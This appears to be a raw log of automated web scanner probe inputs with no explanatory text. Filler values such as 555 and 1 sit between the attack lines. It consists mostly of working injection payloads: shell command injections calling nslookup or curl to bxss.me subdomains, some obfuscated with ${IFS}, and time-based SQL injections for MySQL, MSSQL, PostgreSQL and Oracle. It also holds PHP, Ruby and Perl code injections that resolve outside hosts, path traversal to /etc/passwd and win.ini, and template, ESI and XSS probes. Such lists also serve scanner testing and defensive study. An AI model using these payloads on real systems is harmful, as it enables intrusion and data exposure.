$(nslookup -q=cname hitrimqxuviqefc8cf.bxss.me||curl hitrimqxuviqefc8cf.bxss.me)
555
555
555
555
&nslookup -q=cname hitdchqrfcjgs8809e.bxss.me&'\"`0&nslookup -q=cname hitdchqrfcjgs8809e.bxss.me&`'
555
555
555
555
&(nslookup -q=cname hitdrqskrhlmkff403.bxss.me||curl hitdrqskrhlmkff403.bxss.me)&'\"`0&(nslookup -q=cname hitdrqskrhlmkff403.bxss.me||curl hitdrqskrhlmkff403.bxss.me)&`'
555
555
555
555
555
|(nslookup -q=cname hitympvhjvhluc4523.bxss.me||curl hitympvhjvhluc4523.bxss.me)
555
555
555
555
555
555
555
'"()
555
`(nslookup -q=cname hitmlkqqmwcpc3f437.bxss.me||curl hitmlkqqmwcpc3f437.bxss.me)`
555
HttP://bxss.me/t/xss.html?%00
555
bxss.me/t/xss.html?%00
555'&&sleep(27*1000)*yzqhyj&&'
555
;(nslookup -q=cname hitvlsrllbbwecc4f6.bxss.me||curl hitvlsrllbbwecc4f6.bxss.me)|(nslookup -q=cname hitvlsrllbbwecc4f6.bxss.me||curl hitvlsrllbbwecc4f6.bxss.me)&(nslookup -q=cname hitvlsrllbbwecc4f6.bxss.me||curl hitvlsrllbbwecc4f6.bxss.me)
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555"&&sleep(27*1000)*vspppv&&"
555
555
555
555'||sleep(27*1000)*tjeyyp||'
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitzeudxtazhl19e90.bxss.me||curl${IFS}hitzeudxtazhl19e90.bxss.me)
555
555"||sleep(27*1000)*ysvhfj||"
555
555
"+"A".concat(70-3).concat(22*4).concat(119).concat(90).concat(105).concat(71)+(require"socket" Socket.gethostbyname("hitvk"+"swalnzqqc7deb.bxss.me.")[3].to_s)+"
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitvasitaunsn3d87a.bxss.me||curl${IFS}hitvasitaunsn3d87a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvasitaunsn3d87a.bxss.me||curl${IFS}hitvasitaunsn3d87a.bxss.me)&`'
555
555
';print(md5(31337));$a='
555
555
'+'A'.concat(70-3).concat(22*4).concat(101).concat(77).concat(100).concat(89)+(require'socket' Socket.gethostbyname('hitwm'+'ocxtqrnbd31d3.bxss.me.')[3].to_s)+'
555
";print(md5(31337));$a="
555
555
'A'.concat(70-3).concat(22*4).concat(109).concat(71).concat(101).concat(66)+(require'socket' Socket.gethostbyname('hitds'+'xsuubojd720e9.bxss.me.')[3].to_s)
${@print(md5(31337))}
555
555
555
${@print(md5(31337))}\
555
555
'.print(md5(31337)).'
555
555
555
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
555
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
555
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
${9999133+9999944}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
vYqB7DZ9
555
555
xfs.bxss.me
555
555
555
555
jfXf5m1u: qeW3Ol98
555
response.write(9655233*9691549)
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
'+response.write(9655233*9691549)+'
555
555
555
file:///etc/passwd
"+response.write(9655233*9691549)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
)
555
555
../555
555
!(()&&!|*|*|
555
555
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
^(#$!@#$)(()))******
Http://bxss.me/t/fit.txt
555
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
555
555
/etc/shells
'.gethostbyname(lc('hitrx'.'cwrrhpjf9fdd1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(77).chr(110).chr(88).'
555
555
555
555
555
555
555
".gethostbyname(lc("hitiu"."dbstftkade319.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(73).chr(103).chr(71)."
555
../../../../../../../../../../../../../../etc/shells
555
555
555
555
555
c:/windows/win.ini
555
555
555
555
555
gethostbyname(lc('hitiu'.'syroobgoaf744.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(79).chr(109).chr(73)
bxss.me
555
555
555
555
555
'"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<!--
555
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
555
555
555
'"()
555
';print(md5(31337));$a='
echo wkxmaa$()\ lgbmii\nz^xyu||a #' &echo wkxmaa$()\ lgbmii\nz^xyu||a #|" &echo wkxmaa$()\ lgbmii\nz^xyu||a #
555
555
555'&&sleep(27*1000)*ypbbtz&&'
&echo gospzg$()\ zlwyof\nz^xyu||a #' &echo gospzg$()\ zlwyof\nz^xyu||a #|" &echo gospzg$()\ zlwyof\nz^xyu||a #
555
";print(md5(31337));$a="
555
555
555"&&sleep(27*1000)*kqjsra&&"
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
${@print(md5(31337))}
555&echo emcgvq$()\ wumrsw\nz^xyu||a #' &echo emcgvq$()\ wumrsw\nz^xyu||a #|" &echo emcgvq$()\ wumrsw\nz^xyu||a #
555
555'||sleep(27*1000)*agjuqg||'
555
555
555
${@print(md5(31337))}\
|echo oeqyvp$()\ vblohi\nz^xyu||a #' |echo oeqyvp$()\ vblohi\nz^xyu||a #|" |echo oeqyvp$()\ vblohi\nz^xyu||a #
555
555"||sleep(27*1000)*djdvfj||"
555
555
555|echo aszlwv$()\ gwlrea\nz^xyu||a #' |echo aszlwv$()\ gwlrea\nz^xyu||a #|" |echo aszlwv$()\ gwlrea\nz^xyu||a #
"+"A".concat(70-3).concat(22*4).concat(114).concat(78).concat(103).concat(66)+(require"socket" Socket.gethostbyname("hitsz"+"epyofprh4daf6.bxss.me.")[3].to_s)+"
555
'.print(md5(31337)).'
555
555
(nslookup -q=cname hitjuxfiwxuhv6f626.bxss.me||curl hitjuxfiwxuhv6f626.bxss.me))
555
'+'A'.concat(70-3).concat(22*4).concat(115).concat(80).concat(97).concat(80)+(require'socket' Socket.gethostbyname('hitpn'+'awoucakkb3d86.bxss.me.')[3].to_s)+'
<?php print(md5(31337));?>
555
$(nslookup -q=cname hitsifgtwajjj3613d.bxss.me||curl hitsifgtwajjj3613d.bxss.me)
'A'.concat(70-3).concat(22*4).concat(120).concat(73).concat(116).concat(87)+(require'socket' Socket.gethostbyname('hitie'+'twnbsxorc66eb.bxss.me.')[3].to_s)
&nslookup -q=cname hitglokerghgneec15.bxss.me&'\"`0&nslookup -q=cname hitglokerghgneec15.bxss.me&`'
555
'{${print(md5(31337))}}'
print(md5(31337));//
&(nslookup -q=cname hitpopjphktitb5e42.bxss.me||curl hitpopjphktitb5e42.bxss.me)&'\"`0&(nslookup -q=cname hitpopjphktitb5e42.bxss.me||curl hitpopjphktitb5e42.bxss.me)&`'
555
{php}print(md5(31337));{/php}
555
|(nslookup -q=cname hitkpzbnaqinc2cf10.bxss.me||curl hitkpzbnaqinc2cf10.bxss.me)
[php]print(md5(31337));[/php]
555
555
555
`(nslookup -q=cname hitcioyiuykxy92258.bxss.me||curl hitcioyiuykxy92258.bxss.me)`
555
555
;(nslookup -q=cname hitqbjdrvwptxbf4e2.bxss.me||curl hitqbjdrvwptxbf4e2.bxss.me)|(nslookup -q=cname hitqbjdrvwptxbf4e2.bxss.me||curl hitqbjdrvwptxbf4e2.bxss.me)&(nslookup -q=cname hitqbjdrvwptxbf4e2.bxss.me||curl hitqbjdrvwptxbf4e2.bxss.me)
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitakyxekgaas8a958.bxss.me||curl${IFS}hitakyxekgaas8a958.bxss.me)
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitbthazgqewx27138.bxss.me||curl${IFS}hitbthazgqewx27138.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbthazgqewx27138.bxss.me||curl${IFS}hitbthazgqewx27138.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1; waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555
5552q7xJ2r6'; waitfor delay '0:0:15' --
555pJiW1A92'; waitfor delay '0:0:15' --
555
555-1 OR 107=(SELECT 107 FROM PG_SLEEP(15))--
555-1 OR 990=(SELECT 990 FROM PG_SLEEP(15))--
555
555-1) OR 959=(SELECT 959 FROM PG_SLEEP(15))--
555-1) OR 784=(SELECT 784 FROM PG_SLEEP(15))--
555
555-1)) OR 531=(SELECT 531 FROM PG_SLEEP(15))--
555-1)) OR 632=(SELECT 632 FROM PG_SLEEP(15))--
555
555
555
555
555ToEtLohT' OR 316=(SELECT 316 FROM PG_SLEEP(15))--
555QE77Xxgz' OR 271=(SELECT 271 FROM PG_SLEEP(15))--
555
555zkEJVeEk') OR 867=(SELECT 867 FROM PG_SLEEP(15))--
5553j0EBrIR') OR 161=(SELECT 161 FROM PG_SLEEP(15))--
555
5554G0qocPD')) OR 619=(SELECT 619 FROM PG_SLEEP(15))--
555t4SdDzE4')) OR 738=(SELECT 738 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555'"
@@bmQ2P
@@dcHIc
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555REo303MQ'; waitfor delay '0:0:15' --
555-1 OR 88=(SELECT 88 FROM PG_SLEEP(15))--
555-1) OR 353=(SELECT 353 FROM PG_SLEEP(15))--
555-1)) OR 616=(SELECT 616 FROM PG_SLEEP(15))--
555AxAmOWSi' OR 628=(SELECT 628 FROM PG_SLEEP(15))--
555Ul421NKm') OR 789=(SELECT 789 FROM PG_SLEEP(15))--
5551L7p1Utb')) OR 762=(SELECT 762 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555
@@bj2yZ
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
${10000019+9999670}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9107657*9222484)
555
555
'+response.write(9107657*9222484)+'
"+response.write(9107657*9222484)+"
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
../../../../../../../../../../../../../../etc/passwd
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
555
1
555
555
555
1
${9999592+9999247}
555<esi:include src="http://bxss.me/rpb.png"/>
1
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
1
555
1
555
555
1
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
file:///etc/passwd
response.write(9091037*9037902)
555
555
../555
'+response.write(9091037*9037902)+'
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
"+response.write(9091037*9037902)+"
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
555
/etc/shells
555
555
../../../../../../../../../../../../../../etc/shells
555
555
c:/windows/win.ini
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
DrVNZMd9
555
555
555
555
2uS6dFqQ: E7hsS02a
555
555
555
555
555
555
555
555
555
)
555
!(()&&!|*|*|
555
555
555
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo ybizcr$()\ kmodho\nz^xyu||a #' &echo ybizcr$()\ kmodho\nz^xyu||a #|" &echo ybizcr$()\ kmodho\nz^xyu||a #
555
555
555
&echo qvuebn$()\ uooqfl\nz^xyu||a #' &echo qvuebn$()\ uooqfl\nz^xyu||a #|" &echo qvuebn$()\ uooqfl\nz^xyu||a #
555
555
555
555
555
555
555&echo sovxkz$()\ otdiwd\nz^xyu||a #' &echo sovxkz$()\ otdiwd\nz^xyu||a #|" &echo sovxkz$()\ otdiwd\nz^xyu||a #
555
555
555
'.gethostbyname(lc('hitzi'.'qymskpvo6b58c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(73).chr(111).chr(65).'
555
555
|echo mdpayw$()\ zykksd\nz^xyu||a #' |echo mdpayw$()\ zykksd\nz^xyu||a #|" |echo mdpayw$()\ zykksd\nz^xyu||a #
555
".gethostbyname(lc("hitfy"."jvvhgpxze1709.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(86).chr(115).chr(84)."
555|echo vgdhzi$()\ yreuun\nz^xyu||a #' |echo vgdhzi$()\ yreuun\nz^xyu||a #|" |echo vgdhzi$()\ yreuun\nz^xyu||a #
555
555
555
(nslookup -q=cname hitpvafkztulxc924b.bxss.me||curl hitpvafkztulxc924b.bxss.me))
gethostbyname(lc('hitpa'.'loihsynidfdf8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(90).chr(112).chr(84)
555
555
555
555
$(nslookup -q=cname hitgajznxhbvp2fe72.bxss.me||curl hitgajznxhbvp2fe72.bxss.me)
555
&nslookup -q=cname hitfzanneryaaf039c.bxss.me&'\"`0&nslookup -q=cname hitfzanneryaaf039c.bxss.me&`'
555
555
555
'"()
&(nslookup -q=cname hitdnbqifonfv7daa1.bxss.me||curl hitdnbqifonfv7daa1.bxss.me)&'\"`0&(nslookup -q=cname hitdnbqifonfv7daa1.bxss.me||curl hitdnbqifonfv7daa1.bxss.me)&`'
555'&&sleep(27*1000)*etmofk&&'
555
555
555
555
555"&&sleep(27*1000)*uvwawr&&"
|(nslookup -q=cname hitjvvbewstdw1eee6.bxss.me||curl hitjvvbewstdw1eee6.bxss.me)
555
555'||sleep(27*1000)*aqynri||'
555
`(nslookup -q=cname hitfhyeerspla01b34.bxss.me||curl hitfhyeerspla01b34.bxss.me)`
;(nslookup -q=cname hitvlkhpqeouq19e00.bxss.me||curl hitvlkhpqeouq19e00.bxss.me)|(nslookup -q=cname hitvlkhpqeouq19e00.bxss.me||curl hitvlkhpqeouq19e00.bxss.me)&(nslookup -q=cname hitvlkhpqeouq19e00.bxss.me||curl hitvlkhpqeouq19e00.bxss.me)
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitqstvjjqrhd2aa95.bxss.me||curl${IFS}hitqstvjjqrhd2aa95.bxss.me)
'"
555"||sleep(27*1000)*pdgeee||"
555
<!--
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitbxiipkejdsf4059.bxss.me||curl${IFS}hitbxiipkejdsf4059.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbxiipkejdsf4059.bxss.me||curl${IFS}hitbxiipkejdsf4059.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
bxss.me/t/xss.html?%00
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(119).concat(83).concat(99).concat(84)+(require"socket" Socket.gethostbyname("hitod"+"isjfeiqe12d2a.bxss.me.")[3].to_s)+"
555
555
'+'A'.concat(70-3).concat(22*4).concat(107).concat(75).concat(99).concat(83)+(require'socket' Socket.gethostbyname('hitau'+'wxokemyf1b055.bxss.me.')[3].to_s)+'
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
'A'.concat(70-3).concat(22*4).concat(106).concat(84).concat(116).concat(78)+(require'socket' Socket.gethostbyname('hitex'+'qpmuvsgmbfb99.bxss.me.')[3].to_s)
555
555
555
';print(md5(31337));$a='
555
555
";print(md5(31337));$a="
555
555
555
${@print(md5(31337))}
555
555
${@print(md5(31337))}\
555
555
555
555
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
555
555
'{${print(md5(31337))}}'
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
print(md5(31337));//
555
555
555
555
{php}print(md5(31337));{/php}
555
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555hoO7cI10'; waitfor delay '0:0:15' --
555-1 OR 33=(SELECT 33 FROM PG_SLEEP(15))--
555-1) OR 940=(SELECT 940 FROM PG_SLEEP(15))--
555-1)) OR 320=(SELECT 320 FROM PG_SLEEP(15))--
555QG1SsXf4' OR 713=(SELECT 713 FROM PG_SLEEP(15))--
555QK3auFP6') OR 246=(SELECT 246 FROM PG_SLEEP(15))--
1
555yEcdsj35')) OR 455=(SELECT 455 FROM PG_SLEEP(15))--
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@xQMxy
1
555
1
555
1
1
1
1
1
1
1
1
1
1
1
555
1
555
1
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
1
555
1
555
1
555
555
1
555
555
1
1
${9999055+10000420}
1
555
1
555
555
1
555
1
555
1
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
../../../../../../../../../../../../../../windows/win.ini
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
file:///etc/passwd
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
../555
/etc/shells
../../../../../../../../../../../../../../etc/shells
555
555
c:/windows/win.ini
555
bxss.me
555
555
response.write(9817948*9993388)
555
'+response.write(9817948*9993388)+'
"+response.write(9817948*9993388)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
Fo8HtJqM
xfs.bxss.me
555
5ynDzKyt: 8Y3FwpFk
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
!(()&&!|*|*|
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitjn'.'xlcojxlod8fe8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(78).chr(109).chr(87).'
555
555
555
555
555
555
".gethostbyname(lc("hitcx"."yfdglvpx64dcb.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(74).chr(120).chr(74)."
555
555
555
555
555
555
gethostbyname(lc('hitom'.'cofypgdhde4a7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(81).chr(97).chr(84)
555
555
555
555
555
echo ppswbe$()\ ogrmma\nz^xyu||a #' &echo ppswbe$()\ ogrmma\nz^xyu||a #|" &echo ppswbe$()\ ogrmma\nz^xyu||a #
&echo pzustf$()\ grwgoi\nz^xyu||a #' &echo pzustf$()\ grwgoi\nz^xyu||a #|" &echo pzustf$()\ grwgoi\nz^xyu||a #
555
555
555
555&echo pdswxz$()\ xzoizh\nz^xyu||a #' &echo pdswxz$()\ xzoizh\nz^xyu||a #|" &echo pdswxz$()\ xzoizh\nz^xyu||a #
555
555
|echo poissm$()\ vdbbqf\nz^xyu||a #' |echo poissm$()\ vdbbqf\nz^xyu||a #|" |echo poissm$()\ vdbbqf\nz^xyu||a #
555
555|echo enazxp$()\ yjkzxa\nz^xyu||a #' |echo enazxp$()\ yjkzxa\nz^xyu||a #|" |echo enazxp$()\ yjkzxa\nz^xyu||a #
555
(nslookup -q=cname hitxxegqeocloedab8.bxss.me||curl hitxxegqeocloedab8.bxss.me))
555
$(nslookup -q=cname hitjfyfqckexhaed41.bxss.me||curl hitjfyfqckexhaed41.bxss.me)
555
&nslookup -q=cname hitwfozbufthlac095.bxss.me&'\"`0&nslookup -q=cname hitwfozbufthlac095.bxss.me&`'
555
555
&(nslookup -q=cname hitiodsqohhpk3aac0.bxss.me||curl hitiodsqohhpk3aac0.bxss.me)&'\"`0&(nslookup -q=cname hitiodsqohhpk3aac0.bxss.me||curl hitiodsqohhpk3aac0.bxss.me)&`'
555
555
|(nslookup -q=cname hitjpdhafwdhae3efb.bxss.me||curl hitjpdhafwdhae3efb.bxss.me)
555
`(nslookup -q=cname hitjlzqdvfvcc62d54.bxss.me||curl hitjlzqdvfvcc62d54.bxss.me)`
555
555
555
;(nslookup -q=cname hitvyjcsauwuy2bf34.bxss.me||curl hitvyjcsauwuy2bf34.bxss.me)|(nslookup -q=cname hitvyjcsauwuy2bf34.bxss.me||curl hitvyjcsauwuy2bf34.bxss.me)&(nslookup -q=cname hitvyjcsauwuy2bf34.bxss.me||curl hitvyjcsauwuy2bf34.bxss.me)
'"()
555
555'&&sleep(27*1000)*xodayw&&'
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitpvfvbbfbqabfd71.bxss.me||curl${IFS}hitpvfvbbfbqabfd71.bxss.me)
555"&&sleep(27*1000)*vgmmnu&&"
&(nslookup${IFS}-q${IFS}cname${IFS}hitaunevlfvhl6c2de.bxss.me||curl${IFS}hitaunevlfvhl6c2de.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitaunevlfvhl6c2de.bxss.me||curl${IFS}hitaunevlfvhl6c2de.bxss.me)&`'
555
555'||sleep(27*1000)*kgoqas||'
555
555
555
555"||sleep(27*1000)*jxhklt||"
'"
555
555
555
<!--
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
555
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
555
${@print(md5(31337))}\
555
555
'.print(md5(31337)).'
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
<?php print(md5(31337));?>
555
bxss.me/t/xss.html?%00
555
'{${print(md5(31337))}}'
555
555
555
print(md5(31337));//
555
555
555
555
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(120).concat(68).concat(106).concat(70)+(require"socket" Socket.gethostbyname("hitom"+"dhaebpqa4dd80.bxss.me.")[3].to_s)+"
555
555
'+'A'.concat(70-3).concat(22*4).concat(109).concat(74).concat(119).concat(90)+(require'socket' Socket.gethostbyname('hitbw'+'oawkmbaycf0b5.bxss.me.')[3].to_s)+'
555
555
'A'.concat(70-3).concat(22*4).concat(117).concat(78).concat(102).concat(77)+(require'socket' Socket.gethostbyname('hitrl'+'aeklbwrd114be.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
555
1
1
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
${9999633+9999097}
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
/etc/shells
../../../../../../../../../../../../../../etc/shells
c:/windows/win.ini
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
555
../555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9393775*9354967)
'+response.write(9393775*9354967)+'
"+response.write(9393775*9354967)+"
555
555
555
555
555
555
555
555
555
555
555
555
eIi8rzlS
555
555
EuJRfnSD: ePlwGm3F
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
echo vtpdsx$()\ joeyvc\nz^xyu||a #' &echo vtpdsx$()\ joeyvc\nz^xyu||a #|" &echo vtpdsx$()\ joeyvc\nz^xyu||a #
